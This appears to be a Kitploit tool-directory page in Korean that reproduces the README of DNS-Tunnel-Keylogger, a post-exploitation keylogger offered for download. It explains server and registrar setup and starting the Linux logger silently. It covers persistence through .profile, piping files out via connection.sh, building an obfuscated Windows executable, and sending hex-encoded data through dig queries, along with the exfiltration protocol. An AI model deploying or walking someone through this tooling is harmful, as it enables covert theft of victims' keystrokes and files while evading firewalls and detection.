Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DNS-Tunnel-Keylogger — DNS 터널링/유출을 사용하여 방화벽을 통해 키 입력을 전송하는 키로깅 서버 및 클라이언트. | Kitploit
도구/GitHubGitHub/geeoon/dns-tunnel-keylogger
Data ExfiltrationPost-ExploitationCommand and ControlRed TeamingDNS Analysis
GitHubgeeoon/dns-tunnel-keylogger

DNS-Tunnel-Keylogger

DNS 터널링/유출을 사용하여 방화벽을 통해 키 입력을 전송하는 키로깅 서버 및 클라이언트.

저장소 보기
280452년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DNS 터널 키로거

이 사후 침투 키로거는 키 입력을 은밀하게 서버로 유출합니다.

이 도구들은 가벼운 유출과 지속성에 탁월하여 탐지를 방지합니다. 방화벽을 우회하고 탐지를 피하기 위해 DNS 터널링/유출을 사용합니다.

서버

설정

서버는 python3를 사용합니다.

종속성을 설치하려면 python3 -m pip install -r requirements.txt를 실행하세요.

서버 시작

서버를 시작하려면 python3 main.py를 실행하세요.

root@kitploit:~
usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

기본적으로 서버는 UDP 포트 53에서 수신 대기합니다. 다른 포트를 지정하려면 -p 플래그를 사용하세요.

ip는 서버의 IP 주소입니다. SOA 및 NS 레코드에 사용되어 다른 네임서버가 서버를 찾을 수 있도록 합니다.

domain은 수신 대기할 도메인으로, 서버가 권한을 가진 도메인이어야 합니다.

등록 기관

등록 기관에서 도메인의 네임스페이스를 사용자 지정 DNS로 변경해야 합니다.

두 도메인 ns1.example.com 및 ns2.example.com을 가리키도록 설정하세요.

Spaceship에서의 사용자 정의 DNS

네임스페이스 도메인이 유출 서버의 IP 주소를 가리키도록 레코드를 추가하세요.

Spaceship에서의 개인 네임서버

이는 글루 레코드를 설정하는 것과 동일합니다.

클라이언트

Linux

Linux 키로거는 두 개의 bash 스크립트로 구성됩니다. connection.sh는 logger.sh 스크립트에서 키 입력을 서버로 보내는 데 사용됩니다. 파일과 같은 데이터를 수동으로 보내려면 데이터를 connection.sh 스크립트에 파이프로 전달할 수 있습니다. 스크립트가 자동으로 연결을 설정하고 데이터를 전송합니다.

logger.sh

root@kitploit:~
Usage: logger.sh [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -p path: give path to log file to listen to
  -l: run the logger with warnings and errors printed

키로거를 시작하려면 ./logger.sh [domain] && exit 명령을 실행하세요. 이렇게 하면 키로거가 조용히 시작되고 입력된 모든 내용이 전송됩니다. 끝에 && exit를 사용하면 exit 시 셀이 종료됩니다. 이것이 없으면 종료 시 키로깅되지 않은 셀로 돌아갑니다. 오류 메시지를 표시하려면 &> /dev/null을 제거하세요.

-p 옵션은 모든 입력이 전송되는 임시 로그 파일의 위치를 지정합니다. 기본값은 /tmp/입니다.

-l 옵션은 경고 및 오류를 표시합니다. 디버깅에 유용할 수 있습니다.

logger.sh와 connection.sh는 키로거가 작동하려면 같은 디렉터리에 있어야 합니다. 지속성을 원한다면 명령을 .profile에 추가하여 새 대화형 셸이 시작될 때마다 실행되도록 할 수 있습니다.

connection.sh

root@kitploit:~
Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

빌드

키로깅 프로그램을 빌드하려면 windows 디렉터리에서 make를 실행하세요. 크기를 줄이고 일부 난독화를 적용하여 빌드하려면 production 대상을 사용하세요. 이렇게 하면 build 디렉터리가 생성되고 build 디렉터리에 logger.exe 파일이 출력됩니다. Windows 10에서 MinGW를 사용하여 빌드하는 것만 테스트했습니다. Windows가 아닌 머신에서 g++를 사용하려고 하면 windows.h 관련 빌드 오류가 발생할 가능성이 높습니다.

make production domain=example.com

또한 debug 대상을 사용하여 디버깅이 포함된 프로그램을 빌드할 수도 있습니다.

make debug domain=example.com

두 대상 모두 서버가 수신 대기 중인 도메인을 지정해야 합니다.

테스트 요청 보내기

dig를 사용하여 서버에 요청을 보낼 수 있습니다:

dig @127.0.0.1 a.1.1.1.example.com A +short 로컬호스트의 서버에 연결 요청을 보냅니다.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short 로컬호스트에 테스트 메시지를 보냅니다.

example.com을 서버가 수신 대기 중인 도메인으로 바꾸세요.

프로토콜

연결 시작

a로 시작하는 A 레코드 요청은 "연결"의 시작을 나타냅니다. 서버가 이를 수신하면 마지막 옥텟에 클라이언트의 ID가 포함된 가짜 예약되지 않은 IP 주소로 응답합니다.

연결 시작을 위한 형식은 다음과 같습니다: a.1.1.1.[sld].[tld].

서버는 다음 형식의 IP 주소로 응답합니다: 123.123.123.[id]

동시 연결 수는 254개를 초과할 수 없으며, 클라이언트는 "연결 해제"된 것으로 간주되지 않습니다.

데이터 유출

b로 시작하는 A 레코드 요청은 서버로 전송되는 유출 데이터를 나타냅니다.

연결 설정 후 데이터 전송을 위한 형식은 다음과 같습니다: b.[packet #].[id].[data].[sld].[tld].

서버는 [code].123.123.123으로 응답합니다.

id는 연결 시 설정된 ID입니다. 데이터는 16진수로 인코딩된 ASCII로 전송됩니다.

code는 아래 설명된 코드 중 하나입니다.

응답 코드

200: OK

클라이언트가 정상적으로 처리된 요청을 보내면 서버는 코드 200으로 응답합니다.

201: 잘못된 레코드 요청

클라이언트가 잘못된 레코드 요청을 보내면 서버는 코드 201로 응답합니다.

202: 존재하지 않는 연결

클라이언트가 연결 수보다 큰 ID로 데이터 패킷을 보내면 서버는 코드 202로 응답합니다.

203: 순서가 잘못된 패킷

클라이언트가 예상과 일치하지 않는 패킷 ID로 패킷을 보내면 서버는 코드 203으로 응답합니다. 클라이언트와 서버는 패킷 번호를 0으로 재설정해야 합니다. 그런 다음 클라이언트는 새 패킷 ID로 패킷을 다시 보낼 수 있습니다.

204: 최대 연결 도달

클라이언트가 최대 연결 수에 도달했을 때 연결을 시도하면 서버는 코드 204로 응답합니다.

패킷 손실

클라이언트는 응답을 수신된 패킷의 확인으로 간주해야 합니다. 응답을 받지 못하면 동일한 페이로드를 다시 보내야 합니다.

참고 사항

Linux

로그 파일

사용자 입력이 포함된 로그 파일에는 백스페이스, 삭제, 캐리지 리턴과 같은 ASCII 제어 문자가 포함됩니다. cat과 같은 도구로 내용을 출력하는 경우 cat의 -v 옵션과 같이 ASCII 제어 문자를 출력하는 적절한 옵션을 선택하거나 텍스트 편집기에서 여세요.

비대화형 셸

키로거는 script에 의존하므로 비대화형 셸에서는 실행되지 않습니다.

Windows

중복 요청

어떤 이유로 Windows Dns_Query_A는 항상 중복 요청을 보냅니다. 서버는 중복 패킷을 무시하므로 정상적으로 처리합니다.

도구 다운로드